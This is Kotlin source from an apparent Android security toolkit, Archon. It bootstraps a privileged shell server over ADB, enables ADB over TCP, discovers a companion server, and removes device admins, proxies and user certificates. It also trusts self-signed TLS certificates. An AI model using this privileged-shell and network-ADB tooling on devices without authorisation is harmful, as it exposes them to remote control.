val result = PrivilegeManager.execute("dpm remove-active-admin $component")
return ModuleResult(
success = result.exitCode == 0,
output = if (result.exitCode == 0) "Removed device admin: $component" else "Failed: ${result.stderr}"
)
}
private fun clearProxy(): ModuleResult {
val result = PrivilegeManager.execute("settings put global http_proxy :0")
return ModuleResult(
success = result.exitCode == 0,
output = if (result.exitCode == 0) "HTTP proxy cleared" else "Failed: ${result.stderr}"
)
}
private fun removeCertificate(hash: String): ModuleResult {
val result = PrivilegeManager.execute("rm /data/misc/user/0/cacerts-added/$hash")
return ModuleResult(
success = result.exitCode == 0,
output = if (result.exitCode == 0) "Certificate removed: $hash" else "Failed: ${result.stderr}"
)
}
}

View File

@@ -0,0 +1,371 @@
package com.darkhal.archon.server
import android.content.Context
import android.util.Log
import com.darkhal.archon.service.LocalAdbClient
import com.darkhal.archon.util.AuthManager
import com.darkhal.archon.util.PrefsManager
import com.darkhal.archon.util.ShellResult
import java.io.BufferedReader
import java.io.InputStreamReader
import java.io.OutputStreamWriter
import java.io.PrintWriter
import java.net.InetSocketAddress
import java.net.Socket
import java.util.UUID
import java.util.concurrent.atomic.AtomicBoolean
/**
* Client for the Archon privileged server process.
*
* Handles:
* - Bootstrapping the server via ADB (app_process command)
* - TCP socket communication with JSON protocol
* - Token-based authentication
* - Server lifecycle management
*/
object ArchonClient {
private const val TAG = "ArchonClient"
private const val DEFAULT_PORT = 17321
private const val PREFS_NAME = "archon_server"
private const val KEY_TOKEN = "server_token"
private const val KEY_PORT = "server_port"
private const val CONNECT_TIMEOUT = 3000
private const val READ_TIMEOUT = 30000
private val serverRunning = AtomicBoolean(false)
private var serverPid: Int = -1
/**
* Check if the Archon server is running and responding.
*/
fun isServerRunning(context: Context): Boolean {
val token = getToken(context) ?: return false
val port = getPort(context)
return try {
val result = sendCommand(token, port, "__ping__")
val alive = result.exitCode == 0 && result.stdout == "pong"
serverRunning.set(alive)
alive
} catch (e: Exception) {
serverRunning.set(false)
false
}
}
/**
* Get server info (UID, PID, uptime) if running.
*/
fun getServerInfo(context: Context): String? {
val token = getToken(context) ?: return null
val port = getPort(context)
return try {
val result = sendCommand(token, port, "__info__")
if (result.exitCode == 0) result.stdout else null
} catch (e: Exception) {
null
}
}
/**
* Start the Archon server via ADB.
*
* Bootstrap flow:
* 1. Get APK path from context
* 2. Generate random auth token
* 3. Build app_process command
* 4. Execute via LocalAdbClient or AUTARCH server ADB
* 5. Wait for server to start
* 6. Verify connection
*/
/**
* Check if any ArchonServer is alive on the port (no auth needed).
*/
fun isServerAlive(): Boolean {
return try {
val result = sendCommand("", DEFAULT_PORT, "__alive__", 3)
result.exitCode == 0 && result.stdout == "alive"
} catch (e: Exception) {
false
}
}
fun startServer(context: Context): StartResult {
// Check if a server is already running (possibly started from web UI)
if (isServerAlive()) {
Log.i(TAG, "Server already alive on port $DEFAULT_PORT")
// If we also have a valid token, verify full auth
if (isServerRunning(context)) {
val info = getServerInfo(context) ?: "running"
return StartResult(true, "Server already running: $info")
}
// Server alive but we don't have the right token
return StartResult(false, "Server running but token mismatch — stop it first (web UI or: adb shell pkill -f ArchonServer)")
}
// Generate new token for this session
val token = UUID.randomUUID().toString().replace("-", "").take(32)
val port = DEFAULT_PORT
// Save token and port
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
prefs.edit()
.putString(KEY_TOKEN, token)
.putInt(KEY_PORT, port)
.apply()
// Get APK path
val apkPath = context.applicationInfo.sourceDir
if (apkPath.isNullOrEmpty()) {
return StartResult(false, "Could not determine APK path")
}
// Build the bootstrap command (modeled after Shizuku's ServiceStarter pattern)
// TMPDIR is needed so dalvik-cache can be created by shell user
val bootstrapCmd = buildString {
append("TMPDIR=/data/local/tmp ")
append("CLASSPATH='$apkPath' ")
append("/system/bin/app_process /system/bin ")
append("com.darkhal.archon.server.ArchonServer ")
append("$token $port")
}
// Wrap in nohup + background so it survives ADB disconnect
val fullCmd = "nohup sh -c \"$bootstrapCmd\" > /data/local/tmp/archon_server.log 2>&1 & echo started"
Log.i(TAG, "Bootstrap command: $bootstrapCmd")
// Try to execute — LocalAdbClient first, then AUTARCH server USB ADB
val adbResult = if (LocalAdbClient.isConnected()) {
Log.i(TAG, "Starting server via LocalAdbClient")
val r = LocalAdbClient.execute(fullCmd)
Log.i(TAG, "LocalAdb result: exit=${r.exitCode} stdout=${r.stdout.take(200)} stderr=${r.stderr.take(200)}")
r
} else {
Log.i(TAG, "LocalAdb not connected, trying AUTARCH server USB ADB")
val httpResult = startServerViaHttp(context, apkPath, token, port)
if (httpResult != null) {
Log.i(TAG, "HTTP bootstrap result: exit=${httpResult.exitCode} stdout=${httpResult.stdout.take(200)} stderr=${httpResult.stderr.take(200)}")
httpResult
} else {
Log.e(TAG, "Both ADB methods failed — no connection available")
return StartResult(false, "No ADB connection — connect phone via USB to AUTARCH, or use Wireless Debugging")
}
}
if (adbResult.exitCode != 0 && !adbResult.stdout.contains("started")) {
Log.e(TAG, "Bootstrap command failed: exit=${adbResult.exitCode} stdout=${adbResult.stdout} stderr=${adbResult.stderr}")
return StartResult(false, "ADB command failed (exit ${adbResult.exitCode}): ${adbResult.stderr.ifEmpty { adbResult.stdout }}")
}
// Wait for server to come up
Log.i(TAG, "Waiting for server to start...")
for (i in 1..10) {
Thread.sleep(500)
if (isServerRunning(context)) {
val info = getServerInfo(context) ?: "running"
Log.i(TAG, "Server started: $info")
return StartResult(true, "Server running: $info")
}
}
return StartResult(false, "Server did not start within 5s — check /data/local/tmp/archon_server.log")
}
/**
* Execute a shell command via the Archon server.
*/
fun execute(context: Context, command: String, timeoutSec: Int = 30): ShellResult {
val token = getToken(context)
?: return ShellResult("", "No server token — start server first", -1)
val port = getPort(context)
return try {
sendCommand(token, port, command, timeoutSec)
} catch (e: Exception) {
Log.e(TAG, "Execute failed", e)
serverRunning.set(false)
ShellResult("", "Server communication error: ${e.message}", -1)
}
}
/**
* Stop the Archon server.
*/
fun stopServer(context: Context): Boolean {
val token = getToken(context) ?: return false
val port = getPort(context)
return try {
sendCommand(token, port, "__shutdown__")
serverRunning.set(false)
Log.i(TAG, "Server shutdown requested")
true
} catch (e: Exception) {
Log.e(TAG, "Stop failed", e)
false
}
}
/**
* Generate the bootstrap command string (for display/manual use).
*/
fun getBootstrapCommand(context: Context): String {
val token = getToken(context) ?: "TOKEN"
val port = getPort(context)
val apkPath = context.applicationInfo.sourceDir ?: "/data/app/.../base.apk"
return "TMPDIR=/data/local/tmp CLASSPATH='$apkPath' /system/bin/app_process /system/bin " +
"com.darkhal.archon.server.ArchonServer $token $port"
}
// ── Internal ────────────────────────────────────────────────────
private fun getToken(context: Context): String? {
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
return prefs.getString(KEY_TOKEN, null)
}
private fun getPort(context: Context): Int {
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
return prefs.getInt(KEY_PORT, DEFAULT_PORT)
}
private fun sendCommand(token: String, port: Int, cmd: String, timeoutSec: Int = 30): ShellResult {
val socket = Socket()
try {
socket.connect(InetSocketAddress("127.0.0.1", port), CONNECT_TIMEOUT)
socket.soTimeout = (timeoutSec + 5) * 1000
val writer = PrintWriter(OutputStreamWriter(socket.getOutputStream()), true)
val reader = BufferedReader(InputStreamReader(socket.getInputStream()))
// Build JSON request
val request = """{"token":"${escapeJson(token)}","cmd":"${escapeJson(cmd)}","timeout":$timeoutSec}"""
writer.println(request)
// Read JSON response
val response = reader.readLine()
?: return ShellResult("", "No response from server", -1)
return parseResponse(response)
} finally {
try { socket.close() } catch (e: Exception) { /* ignore */ }
}
}
private fun parseResponse(json: String): ShellResult {
val stdout = extractJsonString(json, "stdout") ?: ""
val stderr = extractJsonString(json, "stderr") ?: ""
val exitCode = extractJsonInt(json, "exit_code", -1)
return ShellResult(stdout, stderr, exitCode)
}
private fun extractJsonString(json: String, key: String): String? {
val search = "\"$key\""
var idx = json.indexOf(search)
if (idx < 0) return null
idx = json.indexOf(':', idx + search.length)
if (idx < 0) return null
idx++
while (idx < json.length && json[idx] == ' ') idx++
if (idx >= json.length || json[idx] != '"') return null
idx++
val sb = StringBuilder()
while (idx < json.length) {
val c = json[idx]
if (c == '\\' && idx + 1 < json.length) {
when (json[idx + 1]) {
'"' -> sb.append('"')
'\\' -> sb.append('\\')
'n' -> sb.append('\n')
'r' -> sb.append('\r')
't' -> sb.append('\t')
else -> sb.append(json[idx + 1])
}
idx += 2
} else if (c == '"') {
break
} else {
sb.append(c)
idx++
}
}
return sb.toString()
}
private fun extractJsonInt(json: String, key: String, default: Int): Int {
val search = "\"$key\""
var idx = json.indexOf(search)
if (idx < 0) return default
idx = json.indexOf(':', idx + search.length)
if (idx < 0) return default
idx++
while (idx < json.length && json[idx] == ' ') idx++
val sb = StringBuilder()
while (idx < json.length && (json[idx].isDigit() || json[idx] == '-')) {
sb.append(json[idx])
idx++
}
return sb.toString().toIntOrNull() ?: default
}
/**
* Bootstrap ArchonServer via AUTARCH server's USB ADB connection.
* Uses the /hardware/archon/bootstrap endpoint which auto-discovers the device.
*/
private fun startServerViaHttp(context: Context, apkPath: String, token: String, port: Int): ShellResult? {
val serverIp = PrefsManager.getServerIp(context)
val serverPort = PrefsManager.getWebPort(context)
if (serverIp.isEmpty()) return null
return try {
val url = java.net.URL("https://$serverIp:$serverPort/hardware/archon/bootstrap")
val conn = url.openConnection() as java.net.HttpURLConnection
com.darkhal.archon.util.SslHelper.trustSelfSigned(conn)
conn.connectTimeout = 5000
conn.readTimeout = 15000
conn.requestMethod = "POST"
conn.setRequestProperty("Content-Type", "application/json")
conn.doOutput = true
val payload = """{"apk_path":"${escapeJson(apkPath)}","token":"${escapeJson(token)}","port":$port}"""
Log.i(TAG, "Bootstrap via HTTP: $serverIp:$serverPort")
conn.outputStream.write(payload.toByteArray())
val code = conn.responseCode
val body = if (code in 200..299) {
conn.inputStream.bufferedReader().readText()
} else {
conn.errorStream?.bufferedReader()?.readText() ?: "HTTP $code"
}
conn.disconnect()
Log.i(TAG, "Bootstrap HTTP response: $code - $body")
if (code in 200..299) {
val stdout = extractJsonString(body, "stdout") ?: body
val stderr = extractJsonString(body, "stderr") ?: ""
val exitCode = extractJsonInt(body, "exit_code", 0)
ShellResult(stdout, stderr, exitCode)
} else {
Log.w(TAG, "Bootstrap returned HTTP $code: $body")
null
}
} catch (e: Exception) {
Log.w(TAG, "Bootstrap failed: ${e.message}")
null
}
}
private fun escapeJson(s: String): String {
return s.replace("\\", "\\\\").replace("\"", "\\\"").replace("\n", "\\n")
}
data class StartResult(val success: Boolean, val message: String)
}

View File

@@ -0,0 +1,77 @@
package com.darkhal.archon.service
import com.darkhal.archon.util.PrivilegeManager
import com.darkhal.archon.util.ShellExecutor
import com.darkhal.archon.util.ShellResult
object AdbManager {
private const val ADBD_PROCESS = "adbd"
/**
* Enable ADB over TCP/IP on the specified port.
* Uses the best available privilege method.
*/
fun enableTcpMode(port: Int = 5555): ShellResult {
return PrivilegeManager.execute(
"setprop service.adb.tcp.port $port && stop adbd && start adbd"
)
}
/**
* Disable ADB TCP/IP mode, reverting to USB-only.
*/
fun disableTcpMode(): ShellResult {
return PrivilegeManager.execute(
"setprop service.adb.tcp.port -1 && stop adbd && start adbd"
)
}
/**
* Kill the ADB daemon.
*/
fun killServer(): ShellResult {
return PrivilegeManager.execute("stop adbd")
}
/**
* Restart the ADB daemon (stop then start).
*/
fun restartServer(): ShellResult {
return PrivilegeManager.execute("stop adbd && start adbd")
}
/**
* Check if the ADB daemon process is currently running.
*/
fun isRunning(): Boolean {
val result = ShellExecutor.execute("pidof $ADBD_PROCESS")
return result.exitCode == 0 && result.stdout.isNotEmpty()
}
/**
* Get the current ADB mode: "tcp" with port number, or "usb".
*/
fun getMode(): String {
val result = ShellExecutor.execute("getprop service.adb.tcp.port")
val port = result.stdout.trim()
return if (port.isNotEmpty() && port != "-1" && port != "0") {
"tcp:$port"
} else {
"usb"
}
}
/**
* Get a combined status map for display.
*/
fun getStatus(): Map<String, Any> {
val running = isRunning()
val mode = getMode()
return mapOf(
"running" to running,
"mode" to mode,
"tcp_enabled" to mode.startsWith("tcp")
)
}
}

View File

@@ -0,0 +1,416 @@
package com.darkhal.archon.service
import android.bluetooth.BluetoothAdapter
import android.bluetooth.BluetoothDevice
import android.bluetooth.BluetoothManager
import android.content.BroadcastReceiver
import android.content.Context
import android.content.Intent
import android.content.IntentFilter
import android.net.nsd.NsdManager
import android.net.nsd.NsdServiceInfo
import android.net.wifi.WifiManager
import android.net.wifi.p2p.WifiP2pConfig
import android.net.wifi.p2p.WifiP2pDevice
import android.net.wifi.p2p.WifiP2pDeviceList
import android.net.wifi.p2p.WifiP2pInfo
import android.net.wifi.p2p.WifiP2pManager
import android.os.Handler
import android.os.Looper
import android.util.Log
/**
* Discovers AUTARCH servers on the network using three methods (priority order):
*
* 1. **mDNS/NSD** — discovers _autarch._tcp.local. on LAN (fastest, most reliable)
* 2. **Wi-Fi Direct** — discovers AUTARCH peers when no shared LAN exists
* 3. **Bluetooth** — discovers AUTARCH BT advertisement (fallback, requires BT enabled + paired)
*
* Usage:
* val discovery = DiscoveryManager(context)
* discovery.listener = object : DiscoveryManager.Listener { ... }
* discovery.startDiscovery()
* // ... later ...
* discovery.stopDiscovery()
*/
class DiscoveryManager(private val context: Context) {
companion object {
private const val TAG = "ArchonDiscovery"
private const val MDNS_SERVICE_TYPE = "_autarch._tcp."
private const val BT_TARGET_NAME = "AUTARCH"
private const val WIFIDIRECT_TARGET_NAME = "AUTARCH"
private const val DISCOVERY_TIMEOUT_MS = 15000L
}
// ── Result Data ─────────────────────────────────────────────────
data class DiscoveredServer(
val ip: String,
val port: Int,
val hostname: String,
val method: ConnectionMethod,
val extras: Map<String, String> = emptyMap()
)
enum class ConnectionMethod {
MDNS, // Found via mDNS on local network
WIFI_DIRECT, // Found via Wi-Fi Direct
BLUETOOTH // Found via Bluetooth
}
// ── Listener ────────────────────────────────────────────────────
interface Listener {
fun onServerFound(server: DiscoveredServer)
fun onDiscoveryStarted(method: ConnectionMethod)
fun onDiscoveryStopped(method: ConnectionMethod)
fun onDiscoveryError(method: ConnectionMethod, error: String)
}
var listener: Listener? = null
private val handler = Handler(Looper.getMainLooper())
// ── State ───────────────────────────────────────────────────────
private var mdnsRunning = false
private var wifiDirectRunning = false
private var bluetoothRunning = false
private var nsdManager: NsdManager? = null
private var discoveryListener: NsdManager.DiscoveryListener? = null
private var wifiP2pManager: WifiP2pManager? = null
private var wifiP2pChannel: WifiP2pManager.Channel? = null
private var bluetoothAdapter: BluetoothAdapter? = null
private val discoveredServers = mutableListOf<DiscoveredServer>()
// ── Public API ──────────────────────────────────────────────────
/**
* Start all available discovery methods in priority order.
* Results arrive via the [Listener] callback.
*/
fun startDiscovery() {
discoveredServers.clear()
startMdnsDiscovery()
startWifiDirectDiscovery()
startBluetoothDiscovery()
// Auto-stop after timeout
handler.postDelayed({ stopDiscovery() }, DISCOVERY_TIMEOUT_MS)
}
/**
* Stop all discovery methods.
*/
fun stopDiscovery() {
stopMdnsDiscovery()
stopWifiDirectDiscovery()
stopBluetoothDiscovery()
}
/**
* Get all servers found so far.
*/
fun getDiscoveredServers(): List<DiscoveredServer> {
return discoveredServers.toList()
}
/**
* Get the best server (highest priority method).
*/
fun getBestServer(): DiscoveredServer? {
return discoveredServers.minByOrNull { it.method.ordinal }
}
// ── mDNS / NSD ─────────────────────────────────────────────────
private fun startMdnsDiscovery() {
if (mdnsRunning) return
try {
nsdManager = context.getSystemService(Context.NSD_SERVICE) as? NsdManager
if (nsdManager == null) {
notifyError(ConnectionMethod.MDNS, "NSD service not available")
return
}
discoveryListener = object : NsdManager.DiscoveryListener {
override fun onDiscoveryStarted(serviceType: String) {
Log.d(TAG, "mDNS discovery started")
mdnsRunning = true
handler.post { listener?.onDiscoveryStarted(ConnectionMethod.MDNS) }
}
override fun onServiceFound(serviceInfo: NsdServiceInfo) {
Log.d(TAG, "mDNS service found: ${serviceInfo.serviceName}")
// Resolve to get IP and port
nsdManager?.resolveService(serviceInfo, object : NsdManager.ResolveListener {
override fun onResolveFailed(info: NsdServiceInfo, errorCode: Int) {
Log.w(TAG, "mDNS resolve failed: $errorCode")
}
override fun onServiceResolved(info: NsdServiceInfo) {
val host = info.host?.hostAddress ?: return
val port = info.port
val hostname = info.attributes["hostname"]
?.let { String(it) } ?: info.serviceName
val server = DiscoveredServer(
ip = host,
port = port,
hostname = hostname,
method = ConnectionMethod.MDNS,
extras = info.attributes.mapValues { String(it.value ?: byteArrayOf()) }
)
discoveredServers.add(server)
handler.post { listener?.onServerFound(server) }
Log.i(TAG, "mDNS: found AUTARCH at $host:$port")
}
})
}
override fun onServiceLost(serviceInfo: NsdServiceInfo) {
Log.d(TAG, "mDNS service lost: ${serviceInfo.serviceName}")
}
override fun onDiscoveryStopped(serviceType: String) {
mdnsRunning = false
handler.post { listener?.onDiscoveryStopped(ConnectionMethod.MDNS) }
}
override fun onStartDiscoveryFailed(serviceType: String, errorCode: Int) {
mdnsRunning = false
notifyError(ConnectionMethod.MDNS, "Start failed (code $errorCode)")
}
override fun onStopDiscoveryFailed(serviceType: String, errorCode: Int) {
Log.w(TAG, "mDNS stop failed: $errorCode")
}
}
nsdManager?.discoverServices(MDNS_SERVICE_TYPE, NsdManager.PROTOCOL_DNS_SD, discoveryListener)
} catch (e: Exception) {
notifyError(ConnectionMethod.MDNS, e.message ?: "Unknown error")
}
}
private fun stopMdnsDiscovery() {
if (!mdnsRunning) return
try {
discoveryListener?.let { nsdManager?.stopServiceDiscovery(it) }
} catch (e: Exception) {
Log.w(TAG, "mDNS stop error: ${e.message}")
}
mdnsRunning = false
}
// ── Wi-Fi Direct ────────────────────────────────────────────────
private val wifiP2pReceiver = object : BroadcastReceiver() {
override fun onReceive(ctx: Context, intent: Intent) {
when (intent.action) {
WifiP2pManager.WIFI_P2P_PEERS_CHANGED_ACTION -> {
// Peers list changed, request updated list
wifiP2pManager?.requestPeers(wifiP2pChannel) { peers ->
handleWifiDirectPeers(peers)
}
}
WifiP2pManager.WIFI_P2P_CONNECTION_CHANGED_ACTION -> {
wifiP2pManager?.requestConnectionInfo(wifiP2pChannel) { info ->
handleWifiDirectConnection(info)
}
}
}
}
}
private fun startWifiDirectDiscovery() {
if (wifiDirectRunning) return
try {
wifiP2pManager = context.getSystemService(Context.WIFI_P2P_SERVICE) as? WifiP2pManager
if (wifiP2pManager == null) {
notifyError(ConnectionMethod.WIFI_DIRECT, "Wi-Fi Direct not available")
return
}
wifiP2pChannel = wifiP2pManager?.initialize(context, Looper.getMainLooper(), null)
// Register receiver for Wi-Fi Direct events
val intentFilter = IntentFilter().apply {
addAction(WifiP2pManager.WIFI_P2P_PEERS_CHANGED_ACTION)
addAction(WifiP2pManager.WIFI_P2P_CONNECTION_CHANGED_ACTION)
addAction(WifiP2pManager.WIFI_P2P_STATE_CHANGED_ACTION)
}
context.registerReceiver(wifiP2pReceiver, intentFilter)
wifiP2pManager?.discoverPeers(wifiP2pChannel, object : WifiP2pManager.ActionListener {
override fun onSuccess() {
wifiDirectRunning = true
handler.post { listener?.onDiscoveryStarted(ConnectionMethod.WIFI_DIRECT) }
Log.d(TAG, "Wi-Fi Direct discovery started")
}
override fun onFailure(reason: Int) {
val msg = when (reason) {
WifiP2pManager.P2P_UNSUPPORTED -> "P2P unsupported"
WifiP2pManager.BUSY -> "System busy"
WifiP2pManager.ERROR -> "Internal error"
else -> "Unknown error ($reason)"
}
notifyError(ConnectionMethod.WIFI_DIRECT, msg)
}
})
} catch (e: Exception) {
notifyError(ConnectionMethod.WIFI_DIRECT, e.message ?: "Unknown error")
}
}
private fun handleWifiDirectPeers(peers: WifiP2pDeviceList) {
for (device in peers.deviceList) {
if (device.deviceName.contains(WIFIDIRECT_TARGET_NAME, ignoreCase = true)) {
Log.i(TAG, "Wi-Fi Direct: found AUTARCH peer: ${device.deviceName} (${device.deviceAddress})")
// Found an AUTARCH device — connect to get IP
connectWifiDirect(device)
}
}
}
private fun connectWifiDirect(device: WifiP2pDevice) {
val config = WifiP2pConfig().apply {
deviceAddress = device.deviceAddress
}
wifiP2pManager?.connect(wifiP2pChannel, config, object : WifiP2pManager.ActionListener {
override fun onSuccess() {
Log.d(TAG, "Wi-Fi Direct: connecting to ${device.deviceName}")
}
override fun onFailure(reason: Int) {
Log.w(TAG, "Wi-Fi Direct: connect failed ($reason)")
}
})
}
private fun handleWifiDirectConnection(info: WifiP2pInfo) {
if (info.groupFormed) {
val ownerAddress = info.groupOwnerAddress?.hostAddress ?: return
// The group owner is the AUTARCH server
val server = DiscoveredServer(
ip = ownerAddress,
port = 8181, // Default — will be refined via mDNS or API call
hostname = "AUTARCH (Wi-Fi Direct)",
method = ConnectionMethod.WIFI_DIRECT
)
discoveredServers.add(server)
handler.post { listener?.onServerFound(server) }
Log.i(TAG, "Wi-Fi Direct: AUTARCH at $ownerAddress")
}
}
private fun stopWifiDirectDiscovery() {
if (!wifiDirectRunning) return
try {
wifiP2pManager?.stopPeerDiscovery(wifiP2pChannel, null)
context.unregisterReceiver(wifiP2pReceiver)
} catch (e: Exception) {
Log.w(TAG, "Wi-Fi Direct stop error: ${e.message}")
}
wifiDirectRunning = false
}
// ── Bluetooth ───────────────────────────────────────────────────
private val btReceiver = object : BroadcastReceiver() {
override fun onReceive(ctx: Context, intent: Intent) {
when (intent.action) {
BluetoothDevice.ACTION_FOUND -> {
val device = intent.getParcelableExtra<BluetoothDevice>(
BluetoothDevice.EXTRA_DEVICE
) ?: return
val name = try { device.name } catch (e: SecurityException) { null }
if (name != null && name.contains(BT_TARGET_NAME, ignoreCase = true)) {
Log.i(TAG, "Bluetooth: found AUTARCH device: $name (${device.address})")
val server = DiscoveredServer(
ip = "", // BT doesn't give IP directly — use for pairing flow
port = 0,
hostname = name,
method = ConnectionMethod.BLUETOOTH,
extras = mapOf(
"bt_address" to device.address,
"bt_name" to name
)
)
discoveredServers.add(server)
handler.post { listener?.onServerFound(server) }
}
}
BluetoothAdapter.ACTION_DISCOVERY_FINISHED -> {
bluetoothRunning = false
handler.post { listener?.onDiscoveryStopped(ConnectionMethod.BLUETOOTH) }
}
}
}
}
private fun startBluetoothDiscovery() {
if (bluetoothRunning) return
try {
val btManager = context.getSystemService(Context.BLUETOOTH_SERVICE) as? BluetoothManager
bluetoothAdapter = btManager?.adapter
if (bluetoothAdapter == null || bluetoothAdapter?.isEnabled != true) {
notifyError(ConnectionMethod.BLUETOOTH, "Bluetooth not available or disabled")
return
}
val intentFilter = IntentFilter().apply {
addAction(BluetoothDevice.ACTION_FOUND)
addAction(BluetoothAdapter.ACTION_DISCOVERY_FINISHED)
}
context.registerReceiver(btReceiver, intentFilter)
val started = try {
bluetoothAdapter?.startDiscovery() == true
} catch (e: SecurityException) {
notifyError(ConnectionMethod.BLUETOOTH, "Bluetooth permission denied")
return
}
if (started) {
bluetoothRunning = true
handler.post { listener?.onDiscoveryStarted(ConnectionMethod.BLUETOOTH) }
Log.d(TAG, "Bluetooth discovery started")
} else {
notifyError(ConnectionMethod.BLUETOOTH, "Failed to start BT discovery")
}
} catch (e: Exception) {
notifyError(ConnectionMethod.BLUETOOTH, e.message ?: "Unknown error")
}
}
private fun stopBluetoothDiscovery() {
if (!bluetoothRunning) return
try {
bluetoothAdapter?.cancelDiscovery()
context.unregisterReceiver(btReceiver)
} catch (e: Exception) {
Log.w(TAG, "Bluetooth stop error: ${e.message}")
}
bluetoothRunning = false
}
// ── Helpers ─────────────────────────────────────────────────────
private fun notifyError(method: ConnectionMethod, error: String) {
Log.e(TAG, "${method.name}: $error")
handler.post { listener?.onDiscoveryError(method, error) }
}
}

View File

@@ -0,0 +1,391 @@
package com.darkhal.archon.service
import android.content.Context
import android.util.Base64
import android.util.Log
import com.darkhal.archon.util.ShellResult
import io.github.muntashirakon.adb.AbsAdbConnectionManager
import io.github.muntashirakon.adb.android.AdbMdns
import org.conscrypt.Conscrypt
import java.io.ByteArrayInputStream
import java.io.ByteArrayOutputStream
import java.math.BigInteger
import java.security.KeyFactory
import java.security.KeyPairGenerator
import java.security.PrivateKey
import java.security.SecureRandom
import java.security.Security
import java.security.Signature
import java.security.cert.Certificate
import java.security.cert.CertificateFactory
import java.security.spec.PKCS8EncodedKeySpec
import java.util.Calendar
import java.util.TimeZone
import java.util.concurrent.CountDownLatch
import java.util.concurrent.TimeUnit
import java.util.concurrent.atomic.AtomicBoolean
import java.util.concurrent.atomic.AtomicInteger
import android.os.Build
/**
* Self-contained local ADB client using libadb-android.
* Handles wireless debugging pairing, mDNS discovery, and shell command execution.
* No external ADB binary needed — pure Java/TLS implementation.
*/
object LocalAdbClient {
private const val TAG = "LocalAdbClient"
private const val PREFS_NAME = "archon_adb_keys"
private const val KEY_PRIVATE = "adb_private_key"
private const val KEY_CERTIFICATE = "adb_certificate"
private const val LOCALHOST = "127.0.0.1"
private var connectionManager: AbsAdbConnectionManager? = null
private var connected = AtomicBoolean(false)
private var connectedPort = AtomicInteger(0)
init {
// Install Conscrypt as the default TLS provider for TLSv1.3 support
Security.insertProviderAt(Conscrypt.newProvider(), 1)
}
/**
* Check if we have a stored ADB key pair (device has been paired before).
*/
fun hasKeyPair(context: Context): Boolean {
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
return prefs.contains(KEY_PRIVATE) && prefs.contains(KEY_CERTIFICATE)
}
/**
* Generate a new RSA-2048 key pair for ADB authentication.
* Stored in SharedPreferences.
*/
fun generateKeyPair(context: Context) {
val kpg = KeyPairGenerator.getInstance("RSA")
kpg.initialize(2048)
val keyPair = kpg.generateKeyPair()
// Generate self-signed certificate using Android's built-in X509 support
val certificate = generateSelfSignedCert(keyPair)
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
prefs.edit()
.putString(KEY_PRIVATE, Base64.encodeToString(keyPair.private.encoded, Base64.NO_WRAP))
.putString(KEY_CERTIFICATE, Base64.encodeToString(certificate.encoded, Base64.NO_WRAP))
.apply()
Log.i(TAG, "Generated new ADB key pair")
}
/**
* Generate a self-signed X.509 v3 certificate for ADB authentication.
* Built from raw DER/ASN.1 encoding — no sun.security or BouncyCastle needed.
*/
private fun generateSelfSignedCert(keyPair: java.security.KeyPair): Certificate {
val serial = BigInteger(64, SecureRandom())
val notBefore = Calendar.getInstance(TimeZone.getTimeZone("UTC"))
val notAfter = Calendar.getInstance(TimeZone.getTimeZone("UTC"))
notAfter.add(Calendar.YEAR, 25)
// DN: CN=adb_archon
val dn = derSequence(derSet(derSequence(
derOid(byteArrayOf(0x55, 0x04, 0x03)), // OID 2.5.4.3 = CN
derUtf8String("adb_archon")
)))
// SHA256withRSA algorithm identifier
// OID 1.2.840.113549.1.1.11
val sha256WithRsa = byteArrayOf(
0x2A, 0x86.toByte(), 0x48, 0x86.toByte(), 0xCE.toByte(),
0x3D, 0x04, 0x03, 0x02 // placeholder, replaced below
)
// Correct OID bytes for 1.2.840.113549.1.1.11
val sha256RsaOid = byteArrayOf(
0x2A, 0x86.toByte(), 0x48, 0x86.toByte(), 0xF7.toByte(),
0x0D, 0x01, 0x01, 0x0B
)
val algId = derSequence(derOid(sha256RsaOid), derNull())
// SubjectPublicKeyInfo — re-use the encoded form from the key
val spki = keyPair.public.encoded // Already DER-encoded SubjectPublicKeyInfo
// TBSCertificate
val tbs = derSequence(
derExplicit(0, derInteger(BigInteger.valueOf(2))), // v3
derInteger(serial),
algId,
dn, // issuer
derSequence(derUtcTime(notBefore), derUtcTime(notAfter)), // validity
dn, // subject = issuer (self-signed)
spki // subjectPublicKeyInfo
)
// Sign the TBS
val sig = Signature.getInstance("SHA256withRSA")
sig.initSign(keyPair.private)
sig.update(tbs)
val signature = sig.sign()
// Full certificate: SEQUENCE { tbs, algId, BIT STRING(signature) }
val certDer = derSequence(tbs, algId, derBitString(signature))
val cf = CertificateFactory.getInstance("X.509")
return cf.generateCertificate(ByteArrayInputStream(certDer))
}
// ── ASN.1 / DER helpers ──────────────────────────────────────
private fun derTag(tag: Int, content: ByteArray): ByteArray {
val out = ByteArrayOutputStream()
out.write(tag)
derWriteLength(out, content.size)
out.write(content)
return out.toByteArray()
}
private fun derWriteLength(out: ByteArrayOutputStream, length: Int) {
if (length < 0x80) {
out.write(length)
} else if (length < 0x100) {
out.write(0x81)
out.write(length)
} else if (length < 0x10000) {
out.write(0x82)
out.write(length shr 8)
out.write(length and 0xFF)
} else {
out.write(0x83)
out.write(length shr 16)
out.write((length shr 8) and 0xFF)
out.write(length and 0xFF)
}
}
private fun derSequence(vararg items: ByteArray): ByteArray {
val content = ByteArrayOutputStream()
for (item in items) content.write(item)
return derTag(0x30, content.toByteArray())
}
private fun derSet(vararg items: ByteArray): ByteArray {
val content = ByteArrayOutputStream()
for (item in items) content.write(item)
return derTag(0x31, content.toByteArray())
}
private fun derInteger(value: BigInteger): ByteArray {
val bytes = value.toByteArray()
return derTag(0x02, bytes)
}
private fun derOid(oidBytes: ByteArray): ByteArray {
return derTag(0x06, oidBytes)
}
private fun derNull(): ByteArray = byteArrayOf(0x05, 0x00)
private fun derUtf8String(s: String): ByteArray {
return derTag(0x0C, s.toByteArray(Charsets.UTF_8))
}
private fun derBitString(data: ByteArray): ByteArray {
val content = ByteArray(data.size + 1)
content[0] = 0 // no unused bits
System.arraycopy(data, 0, content, 1, data.size)
return derTag(0x03, content)
}
private fun derUtcTime(cal: Calendar): ByteArray {
val s = String.format(
"%02d%02d%02d%02d%02d%02dZ",
cal.get(Calendar.YEAR) % 100,
cal.get(Calendar.MONTH) + 1,
cal.get(Calendar.DAY_OF_MONTH),
